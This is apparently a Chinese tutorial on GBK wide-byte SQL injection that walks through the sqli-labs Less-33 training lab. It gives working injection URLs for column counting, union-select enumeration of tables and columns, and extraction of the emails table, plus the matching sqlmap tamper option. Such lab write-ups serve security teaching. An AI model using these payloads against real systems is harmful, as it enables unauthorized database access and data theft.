SQL注入【宽字节注入】

原理

GBK编码是占用两个字节,ASCII编码是占用一个字节。

在PHP中的编码方式为GBK,在函数执行添加的是ASCII编码,在mysql中国默认字符集是GBK等宽字节字符集(GBK属于宽字符集中的一种),

而mysql中使用的默认的GBK编码方式是导致宽字节注入的根源。

  • GBK 编码 两个字节表示一个字符
  • ASCII 编码 一个字节表示一个字符
  • MYSQL默认字节集是GBK等宽字节字符集

addslashes()函数

1
2
3
4
5
6
7
addslashes ( string `$str` ) : string

返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。
这些字符是单引号(`'`)、双引号(`"`)、反斜线(`\`)与 NUL(**`null`** 字符)。

只要注入' " \ 空字符 都会转义为 \' \" \\ \
魔术单引号同理【PHP5.4及其以上魔术引号是被删除了】

利用场景

如果网站使用了 addslashes()函数函数或者开启了魔术单引号,恰巧MYSQL数据库为GBK,就会造成宽字节注入

1
2
3
4
5
6
7
8
%DF':

- 会被PHP当中的addslashes函数转义为:%DF\'
- \ 会被URL编码为 %5C
- 那么 %DF' 会被转义为 %DF%5C%27
- %DF%5C%27是一个宽字节 也就是一个縗'
从而可以进行构造闭合,进行注入
小技巧:有的时候我们也可以用16进制来代替字符串

URL编码

  • %27———单引号
  • %20———-空格
  • %23———–#号
  • %5c————\反斜杠

靶场Less-33

1、访问网站

image-20250210085830151

image-20250210085842974

2、当在id后面加上反斜杠时

image-20250210085930045

反斜杠被进行了转义

3、输入单引号时

image-20250210090014464

同样被进行了转义

4、输入%DF’时

image-20250210090114485

网页进行了报错

5、加上注释符之后成功闭合

image-20250210090148467

6、探测字段数

1
http://192.168.168.129/sqli/Less-33/?id=2%df' order by 4-- qwe

image-20250210090518775

1
http://192.168.168.129/sqli/Less-33/?id=2%df' order by 3-- qwe

image-20250210090548489

7、探测显示位

1
http://192.168.168.129/sqli/Less-33/?id=-2%df' union select 1,2,3-- qwe

image-20250210090653144

8、当前数据库和版本号

1
http://192.168.168.129/sqli/Less-33/?id=-2%df' union select 1,database(),version()-- qwe

image-20250210090835379

9、爆表

1
http://192.168.168.129/sqli/Less-33/?id=-2%df' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() -- qwe

image-20250210091232003

10、爆字段数

爆emails表的字段,由于单引号不能用,这里可以使用子查询或者将emails转为16进制的方法。

emails对应的16进制为0x656d61696c73

1
http://192.168.168.129/sqli/Less-33/?id=-2%df' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x656d61696c73 -- qwe

image-20250210091614911

11、出数据

1
http://192.168.168.129/sqli/Less-33/?id=-2%df' union select 1,group_concat(id),group_concat(email_id) from emails -- qwe

image-20250210091720643

SQLMap跑宽字节注入

1
2
在已知存在宽字节注入的情况下,可使用sqlmap的参数:
--tamper unmagicquotes.py